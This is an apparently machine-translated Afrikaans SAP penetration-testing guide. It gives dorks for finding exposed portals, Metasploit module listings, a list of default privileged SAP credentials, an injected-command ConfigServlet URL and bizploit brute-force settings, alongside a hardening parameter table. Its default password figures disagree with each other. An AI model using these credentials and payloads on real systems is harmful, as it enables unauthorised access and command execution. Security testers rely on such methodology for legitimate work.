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Inleiding oor SAP

SAP staan vir Systems Applications and Products in Data Processing. SAP, per definisie, is ook die naam van die ERP Enterprise Resource Planning sagteware sowel as die naam van die maatskappy. Die SAP-stelsel bestaan uit 'n aantal volledig geïntegreerde modules, wat feitlik elke aspek van besigheidsbestuur dek.

Elke SAP-instantie of SID bestaan uit drie lae: databasis, toepassing en aanbieding), elke landskap bestaan gewoonlik uit vier instanties: dev, toets, QA en produksie. Elke van die lae kan tot 'n sekere mate uitgebuit word, maar die meeste effek kan verkry word deur die databasis aan te val.

Elke SAP-instantie is verdeel in kliënte. Elke een het 'n gebruiker SAP*, die toepassing se ekwivalent van “root”. By die aanvanklike skepping, ontvang hierdie gebruiker SAP* 'n standaard wagwoord: “060719992” meer standaard wagwoorde hieronder. Jy sal verbaas wees as jy weet hoe dikwels hierdie wagwoorde nie in toets- of dev-omgewings verander word nie!

Probeer om toegang te verkry tot die skulp van enige bediener met gebruikersnaam <SID>adm. Bruteforcing kan help, maar daar kan 'n rekening sluiting meganisme wees.

Ontdekking

Volgende afdeling is meestal van https://github.com/shipcod3/mySapAdventures van gebruiker shipcod3!

  • Kyk na die Toepassing Omvang of Program Oorsig vir toetsing. Neem kennis van die hostnames of stelselinstanties vir verbinding met SAP GUI.
  • Gebruik OSINT open source intelligence, Shodan en Google Dorks om te kyk vir lêers, subdomeine, en sappige inligting as die toepassing internet-gestig of publiek is:
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
inurl:/wsnavigator/jsps/test.jsp
inurl:/irj/go/km/docs/
https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine

SAP Logon screen

  • Gebruik nmap om oop poorte en bekende dienste sap routers, webdnypro, webdienste, webbedieners, ens. te kontroleer.
  • Krap die URL's as daar 'n webbediener aan die gang is.
  • Fuzz die gidse jy kan Burp Intruder gebruik as dit webbedieners op sekere poorte het. Hier is 'n paar goeie woordlyste wat deur die SecLists Project verskaf word om standaard SAP ICM Paaie en ander interessante gidse of lêers te vind:

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt

  • Gebruik die SAP SERVICE DISCOVERY bykomende Metasploit module om SAP instansies/dienste/komponente te noem:
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
Name         Current Setting  Required  Description
----         ---------------  --------  -----------
CONCURRENCY  10               yes       The number of concurrent ports to check per host
INSTANCES    00-01            yes       Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS                        yes       The target address range or CIDR identifier
THREADS      1                yes       The number of concurrent threads
TIMEOUT      1000             yes       The socket connect timeout in milliseconds
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101:       - [SAP] Beginning service Discovery '192.168.96.101'

Toetsing van die Dikke Kliënt / SAP GUI

Hier is die opdrag om met SAP GUI te verbind
sapgui <sap server hostname> <system number>

  • Kontroleer vir standaard geloofsbriewe In Bugcrowd se Kwetsbaarheid Gradering Taksonomie, word dit beskou as P1 -&gt; Bediener Sekuriteit Misconfigurasie \| Gebruik Standaard Geloofsbriewe \| Produksie Bediener:
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
  • Voer Wireshark uit en autentiseer by die kliënt SAP GUI met die akrediteer wat jy gekry het omdat sommige kliënte akrediteer sonder SSL oordra. Daar is twee bekende plugins vir Wireshark wat die hoofkoppe wat deur die SAP DIAG protokol gebruik word, kan ontleed: SecureAuth Labs SAP ontledingsplugin en SAP DIAG plugin deur Positive Research Center.
  • Kyk vir privilige eskalasies soos om sommige SAP Transaksie Kodes tcodes vir lae-privilege gebruikers te gebruik:
  • SU01 - Om die gebruikers te skep en te onderhou
  • SU01D - Om Gebruikers te Vertoon
  • SU10 - Vir massa onderhoud
  • SU02 - Vir Handmatige skepping van profiele
  • SM19 - Sekuriteitsoudit - konfigurasie
  • SE84 - Inligtingstelsel vir SAP R/3 Magtigings
  • Kyk of jy stelselskommando's kan uitvoer / skripte in die kliënt kan loop.
  • Kyk of jy XSS op BAPI Explorer kan doen

Toetsing van die webkoppelvlak

SAP Index Page

  • Soek vir algemene web kwesbaarhede Verwys na OWASP Top 10 omdat daar XSS, RCE, XXE, ens. kwesbaarhede in sommige plekke is.
  • Kyk na Jason Haddix se “The Bug Hunters Methodology” vir die toetsing van web kwesbaarhede.
  • Auth Bypass via werkwoord Manipulasie? Miskien :)
  • Maak http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees# oop en druk dan die “Kies” knoppie en druk dan in die geopende venster “Soek”. Jy behoort 'n lys van SAP gebruikers te kan sien Kwesbaarheid Verwysing: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)
  • Word die akrediteer oor HTTP ingedien? As dit is, word dit as P3 beskou gebaseer op Bugcrowd se Kwesbaarheid Gradering Taksonomie: Gebroke Autentisering en Sessie Bestuur | Swak Inlog Funksie Oor HTTP. Wenke: Kyk ook na http://SAP:50000/startPage of die aanmeldportale :)

SAP Start Page

  • Probeer /irj/go/km/navigation/ vir moontlike gidslys of autentisering omseiling
  • http://SAP/sap/public/info bevat 'n paar sappige inligting:
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
<RFCSI>
<RFCPROTO>011</RFCPROTO>
<RFCCHARTYP>4102</RFCCHARTYP>
<RFCINTTYP>BIG</RFCINTTYP>
<RFCFLOTYP>IE3</RFCFLOTYP>
<RFCDEST>randomnum</RFCDEST>
<RFCHOST>randomnum</RFCHOST>
<RFCSYSID>BRQ</RFCSYSID>
<RFCDATABS>BRQ</RFCDATABS>
<RFCDBHOST>randomnum</RFCDBHOST>
<RFCDBSYS>ORACLE</RFCDBSYS>
<RFCSAPRL>740</RFCSAPRL>
<RFCMACH>324</RFCMACH>
<RFCOPSYS>AIX</RFCOPSYS>
<RFCTZONE>-25200</RFCTZONE>
<RFCDAYST/>
<RFCIPADDR>192.168.1.8</RFCIPADDR>
<RFCKERNRL>749</RFCKERNRL>
<RFCHOST2>randomnum</RFCHOST2>
<RFCSI_RESV/>
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
</RFCSI>
</rfc:RFC_SYSTEM_INFO.Response>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Konfigurasieparameters

As jy korrekte aanmeldbesonderhede tydens die pentest het of jy daarin geslaag het om in te log op SAP GUI met basiese akreditasies, kan jy die parameterwaardes nagaan. Baie basiese en pasgemaakte konfigurasieparameterwaardes word as kwesbaarhede beskou.

Jy kan parameterwaardes beide handmatig en outomaties nagaan, met behulp van skripte (bv. SAP Parameter Validator).

Handmatige Parameter Nagaan

Deur na Transaksiekode RSPFPAR te navigeer, kan jy verskillende parameters opsoek en hul waardes nagaan.

Die tabel hieronder bevat die gedefinieerde parameters en die voorwaardes waarvoor hulle onderskei word.

Byvoorbeeld, as gw/reg_no_conn_info op minder as 255 (<255) gestel is, moet dit as 'n bedreiging beskou word. Net so, as icm/security_log gelyk is aan twee (2), sal dit ook 'n moontlike bedreiging wees.

Parameter Beperking Beskrywing
auth/object_disabling_active Y Gee aan of objekdeaktivering aktief is.
auth/rfc_authority_check <2 Stel die gesagkontrolevlak vir RFC's in.
auth/no_check_in_some_cases Y Gee aan of kontroles in sommige gevalle oorgeslaan word.
bdc/bdel_auth_check FALSE Bepaal of magtigingkontroles in BDC afgedwing word.
gw/reg_no_conn_info <255 Beperk die aantal karakters vir registrasienommerverbindinginligting.
icm/security_log 2 Definieer die sekuriteitslogvlak vir ICM (Internet Communication Manager).
icm/server_port_0 Display Gee die bedienerpoort vir ICM (poort 0).
icm/server_port_1 Display Gee die bedienerpoort vir ICM (poort 1).
icm/server_port_2 Display Gee die bedienerpoort vir ICM (poort 2).
login/password_compliance_to_current_policy 0 Dwing wagwoordnakoming met die huidige beleid af.
login/no_automatic_user_sapstar 0 Deaktiveer outomatiese gebruiker SAPSTAR toewysing.
login/min_password_specials 0 Minimum aantal spesiale karakters wat in wagwoorde vereis word.
login/min_password_lng <8 Minimum lengte wat vir wagwoorde vereis word.
login/min_password_lowercase 0 Minimum aantal kleinletters wat in wagwoorde vereis word.
login/min_password_uppercase 0 Minimum aantal hoofletters wat in wagwoorde vereis word.
login/min_password_digits 0 Minimum aantal syfers wat in wagwoorde vereis word.
login/min_password_letters 1 Minimum aantal letters wat in wagwoorde vereis word.
login/fails_to_user_lock <5 Aantal mislukte aanmeldpogings voordat die gebruikersrekening vergrendel word.
login/password_expiration_time >90 Wagwoordvervaltyd in dae.
login/password_max_idle_initial <14 Maksimum inaktiewe tyd in minute voordat wagwoordherinvoer vereis word (begin).
login/password_max_idle_productive <180 Maksimum inaktiewe tyd in minute voordat wagwoordherinvoer vereis word (produktief).
login/password_downwards_compatibility 0 Gee aan of afwaartse kompatibiliteit vir wagwoorde geaktiveer is.
rfc/reject_expired_passwd 0 Bepaal of vervalde wagwoorde vir RFC (Remote Function Calls) verwerp word.
rsau/enable 0 Aktiveer of deaktiveer RS AU (Magtiging) kontroles.
rdisp/gui_auto_logout <5 Gee die tyd in minute voordat outomatiese afmelding van GUI-sessies plaasvind.
service/protectedwebmethods SDEFAULT Gee die standaardinstellings vir beskermde webmetodes.
snc/enable 0 Aktiveer of deaktiveer Veilige Netwerk Kommunikasie (SNC).
ucon/rfc/active 0 Aktiveer of deaktiveer UCON (Unified Connectivity) RFC's.

Skrip vir Parameter Nagaan

As gevolg van die aantal parameters, is dit ook moontlik om al hierdie na 'n .XML-lêer te eksporteer en die skrip SAPPV (SAP Parameter Validator) te gebruik, wat al die bogenoemde parameters sal nagaan en hul waardes met toepaslike onderskeid sal druk.

./SAPPV.sh EXPORT.XML

Parameter: auth/no_check_in_some_cases
User-Defined Value: No data
System Default Value: Y
Comment: Activation of the Profile Generator
Vulnerability: "SAP Parameter Misconfiguration: auth/no_check_in_some_cases"

Parameter: auth/object_disabling_active
User-Defined Value: N
System Default Value: N
Comment: Value 'N' prohibits disabling of authorization objects
Vulnerability: "SAP Parameter Misconfiguration: auth/object_disabling_active"

Parameter: auth/rfc_authority_check
User-Defined Value: 6
System Default Value: 6
Comment: Execution option for the RFC authority check
Vulnerability: "SAP Parameter Misconfiguration: auth/rfc_authority_check"

Parameter: bdc/bdel_auth_check
User-Defined Value: No data
System Default Value: FALSE
Comment: batch-input: check authorisation for activity DELE when delete TA
Vulnerability: "SAP Parameter Misconfiguration: bdc/bdel_auth_check"

[...]

Aanval!

  • Kontroleer of dit op ou bedieners of tegnologieë soos Windows 2000 loop.
  • Beplan die moontlike ontploffings / aanvalle, daar is baie Metasploit-modules vir SAP-ontdekking bykomende modules en ontploffings:
msf > search sap
Matching Modules
================
Name                                                                     Disclosure Date  Rank       Description
----                                                                     ---------------  ----       -----------
auxiliary/admin/maxdb/maxdb_cons_exec                                    2008-01-09       normal     SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth                        2012-11-01       normal     SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec                                                   normal     SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file                                            normal     SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi                                  2008-11-13       normal     Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi                              2011-04-12       normal     Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute                                     normal     SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web                                 normal     SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum                                      normal     SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum                                   normal     SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt                                    normal     SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem                                      normal     SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info                                                 normal     SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan                                                     normal     SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog                                                normal     SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login                                            normal     SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers                                           normal     SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints                                        normal     SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv                                                 normal     SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles                                            normal     SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist                                         normal     SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter                                    normal     SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties                                     normal     SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles                                           normal     SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile                                           normal     SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version                                                normal     SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request                                             normal     SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner                                              normal     SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery                                               normal     SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay                                                       normal     SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1                                          normal     SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login                                            normal     SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec                   normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec                               normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing                              normal     SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence                            normal     SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping                                                   normal     SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
auxiliary/scanner/sap/sap_soap_rfc_read_table                                             normal     SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir                                           normal     SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface                                normal     SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec                                  normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec                                      normal     SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info                                            normal     SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure                                       normal     SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login                                             normal     SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload                            2011-03-08       excellent  SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec                     2013-03-26       great      SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec                         2012-05-08       great      SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download                        2009-04-15       excellent  EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml                    2007-07-05       normal     EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile                     2009-03-31       normal     SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth                       2012-11-01       great      SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec                           2012-08-14       average    SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools                                      2007-07-05       great      SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd                                               2008-02-04       good       SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license                                    2009-08-01       great      SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher                            2012-05-08       normal     SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
  • Probeer om 'n paar bekende exploits te gebruik kyk na Exploit-DB of aanvalle soos die ou maar goeie “SAP ConfigServlet Remote Code Execution” in die SAP Portal:
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a

SAP Config Servlet RCE

  • Voordat jy die start opdrag op die bizploit skrip in die Ontdekking fase uitvoer, kan jy ook die volgende byvoeg om kwesbaarheidsevaluering uit te voer:
bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start

Ander Nuttige Gereedskap vir Toetsing

Verwysings

{% embed url="https://websec.nl/" %}

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